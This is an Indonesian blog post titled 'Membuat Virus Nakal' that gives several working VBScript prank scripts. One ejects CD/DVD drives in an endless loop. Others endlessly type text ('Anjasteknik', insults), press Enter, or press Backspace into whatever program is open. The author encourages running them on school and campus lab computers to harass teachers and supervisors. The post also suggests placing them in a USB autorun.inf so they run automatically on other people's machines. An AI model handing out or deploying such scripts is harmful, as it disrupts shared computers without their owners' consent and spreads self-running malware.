MEMBUAT VIRUS NAKAL

Sumber    : Anjasteknik.com

Di Posting oleh : Anjas Asmara

Yuk buat “Virus” Nakal, buat ngerjain dosen/guru atau pengawas lab, lagi suntuk di ruang labkom Sekolah, pusing ngga bisa maen facebook karena Nga ada jaringan atau diblog sama admin labkom, yah iseng2 buatin scripts .vbs.

Caranya: Buka notepad dan masukkan code berikut,

            Ingett,,,,, Resiko Ditanggung Penumpang ane uda coba dilab sekolah saya dulu smkn1lasusua teman-temen pusing apa lagi yang cewe bilang wah,,, gawat ntar kite disuru ganti.. hahaha jail nga tu… sub. Ok  lanjut……

Set oWMP = CreateObject("WMPlayer.OCX.7") Set colCDROMs = oWMP.cdromCollection do if colCDROMs.Count >= 1 then For i = 0 to colCDROMs.Count - 1 colCDROMs.Item(i).Eject Next For i = 0 to colCDROMs.Count - 1 colCDROMs.Item(i).Eject Next End If wscript.sleep 5000 loop

Simpanlah dengan file tadi dengan ekstensi file iseng.vbs ato apapun nama kesukaan asalkan pastikan ekstensinya .vbs, dan jalankan filenya ( Klik 2x), perhatikan CD/DVD ROM akan terbuka/tertutup dengan sendirinya tanpa henti.

Salah satu cara menghentikan aksi Virus Nakal ini ialah dengan menekan tombol CRTL+ALT+DEL dan matikan proses wscripts.exe, Kalo mau keren lagi, masukkan ke file autorun.inf di flashdisk anda, jadi setiap loe colokin ke komp. Kampus/Sekolah, maka akan otomatis dijalankan “Virus” Nakal ini.

NB: Pasti bias ane uda coba 100% berhasil mala ane di bilangan ma temen cewe si kandang Virus

Nah mau script .vbs yang laen lagi? Saya Kasih dee,,,,

WScript.Sleep 18000 WScript.Sleep 1000 do Set WshShell = WScript.CreateObject("WScript.Shell") WshShell.Run "notepad" WScript.Sleep 100 WshShell.AppActivate "Notepad" WScript.Sleep 500 WshShell.SendKeys "H" WScript.Sleep 500 WshShell.SendKeys "a" WScript.Sleep 500 WshShell.SendKeys "l" WScript.Sleep 500 WshShell.SendKeys "o" WScript.Sleep 500 WshShell.SendKeys ". " WScript.Sleep 500 WshShell.SendKeys "a" WScript.Sleep 500 WshShell.SendKeys "p" WScript.Sleep 500 WshShell.SendKeys "a" WScript.Sleep 500 WshShell.SendKeys " " WScript.Sleep 500 WshShell.SendKeys "k" WScript.Sleep 500 WshShell.SendKeys "a" WScript.Sleep 500 WshShell.SendKeys "b" WScript.Sleep 500 WshShell.SendKeys "a" WScript.Sleep 500 WshShell.SendKeys "r" WScript.Sleep 500 WshShell.SendKeys "?" WScript.Sleep 500 WshShell.SendKeys " " WScript.Sleep 500 WshShell.SendKeys "A" WScript.Sleep 500 WshShell.SendKeys "n" WScript.Sleep 500 WshShell.SendKeys "j" WScript.Sleep 500 WshShell.SendKeys "a" WScript.Sleep 500 WshShell.SendKeys "s" WScript.Sleep 500 WshShell.SendKeys " " WScript.Sleep 500 WshShell.SendKeys "t" WScript.Sleep 500 WshShell.SendKeys "e" WScript.Sleep 500 WshShell.SendKeys "k" WScript.Sleep 500 WshShell.SendKeys "n" WScript.Sleep 500 WshShell.SendKeys "i" WScript.Sleep 500 WshShell.SendKeys "k" WScript.Sleep 500 wscript.sleep 5000 loop

Scripts diatas nanti otomatis buka notepad dan ketik: Halo. apa kabar? Anjasteknik pokoknya selama tidak dimatiin virus ini slalu buka notepad sambil menuliskan Anjasteknik, apa hanya notepad gang,,,? Nga lah nee saya kasih contoh bila target buka word atau muzila pokonya apa de yg bias ngetik pasti dia nulis sendiri Anjasteknik hahaha setan kali yaa,,, nga percaya coba aja sendiri…

ingat yah simpan dengan ekstensi nama .vbs, klik file–>save as

Kode Vbs ini akan membuat user terus mengetikkan kata2 “Kamu emang jelek koq!”

Set wshShell = wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "Kamu emang jelak koq!" loop

Dan membuat terus menerus menekan tombol “Enter”

Set wshShell = wscript.CreateObject("WScript.Shell") do wscript.sleep  100 wshshell.sendkeys "~(enter)" loop

Terus tekan backspace:

MsgBox "Balik lagi ah...saltik" Set wshShell  =wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys  "{bs}" loop

Semoga Berhasil anak muda…

Posted in: VIRUS